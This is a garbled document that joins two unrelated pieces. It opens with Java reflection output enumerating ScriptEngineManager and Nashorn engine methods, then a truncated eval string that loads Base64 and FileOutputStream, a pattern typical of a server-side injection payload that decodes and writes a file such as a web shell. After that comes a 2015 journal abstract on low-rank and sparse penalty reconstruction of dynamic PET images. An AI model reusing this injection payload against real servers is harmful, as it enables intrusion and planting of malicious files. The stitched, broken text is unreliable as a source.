public javax.script.ScriptEngineManager() public javax.script.ScriptEngineManager(java.lang.ClassLoader) public javax.script.ScriptEngineManager() javax.script.ScriptEngineManager@44eb5bdd jdk.nashorn.api.scripting.NashornScriptEngine@6b81dee4 [Ljava.lang.reflect.Method;@1c26a009 public javax.script.CompiledScript jdk.nashorn.api.scripting.NashornScriptEngine.compile(java.lang.String) throws javax.script.ScriptException public javax.script.CompiledScript jdk.nashorn.api.scripting.NashornScriptEngine.compile(java.io.Reader) throws javax.script.ScriptException public javax.script.ScriptEngineFactory jdk.nashorn.api.scripting.NashornScriptEngine.getFactory() public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.eval(java.lang.String,javax.script.ScriptContext) throws javax.script.ScriptException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.eval(java.io.Reader,javax.script.ScriptContext) throws javax.script.ScriptException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.getInterface(java.lang.Object,java.lang.Class) public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.getInterface(java.lang.Class) public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.invokeMethod(java.lang.Object,java.lang.String,java.lang.Object[]) throws javax.script.ScriptException,java.lang.NoSuchMethodException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.invokeFunction(java.lang.String,java.lang.Object[]) throws javax.script.ScriptException,java.lang.NoSuchMethodException public javax.script.Bindings jdk.nashorn.api.scripting.NashornScriptEngine.createBindings() public java.lang.Object javax.script.AbstractScriptEngine.get(java.lang.String) public void javax.script.AbstractScriptEngine.put(java.lang.String,java.lang.Object) public javax.script.ScriptContext javax.script.AbstractScriptEngine.getContext() public java.lang.Object javax.script.AbstractScriptEngine.eval(java.lang.String,javax.script.Bindings) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.io.Reader) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.lang.String) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.io.Reader,javax.script.Bindings) throws javax.script.ScriptException public void javax.script.AbstractScriptEngine.setContext(javax.script.ScriptContext) public javax.script.Bindings javax.script.AbstractScriptEngine.getBindings(int) public void javax.script.AbstractScriptEngine.setBindings(javax.script.Bindings,int) public final void java.lang.Object.wait() throws java.lang.InterruptedException public final void java.lang.Object.wait(long,int) throws java.lang.InterruptedException public final native void java.lang.Object.wait(long) throws java.lang.InterruptedException public boolean java.lang.Object.equals(java.lang.Object) public java.lang.String java.lang.Object.toString() public native int java.lang.Object.hashCode() public final native java.lang.Class java.lang.Object.getClass() public final native void java.lang.Object.notify() public final native void java.lang.Object.notifyAll() $f.eval("var B=Java.type('java.util.Base64');var F=Java.type('java.io.FileOutputStream');var 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Journal of Southern Medical University ›› 2015, Vol. 35 ›› Issue (10): 1446-.

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Reconstruction of dynamic positron emission tomographic images by exploiting low
rank and sparse penalty

  

  • Online:2015-10-20 Published:2015-10-20

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Abstract: Objective To propose a new method for dynamic positron emission tomographic (PET) image reconstruction using
low rank and sparse penalty (L&S). Methods The L&S reconstruction model was established and the split Bregman method
was used to solve the optimal cost function. The one-tissue compartment model was used to simulate a set of PET 82Rb
myocardial perfusion image. The L&S reconstruction method was compared with maximum likelihood expectation
maximization (MLEM) method, low-rank penalty method and sparse penalty method. Results The L&S reconstruction
method had the smallest MSE and well maintained the feature information. The polar map created by L&S method was the
most similar with the reference actual polar map. Conclusion L&S reconstruction method is better than the other three
methods in both visual and quantitative analysis of the PET images.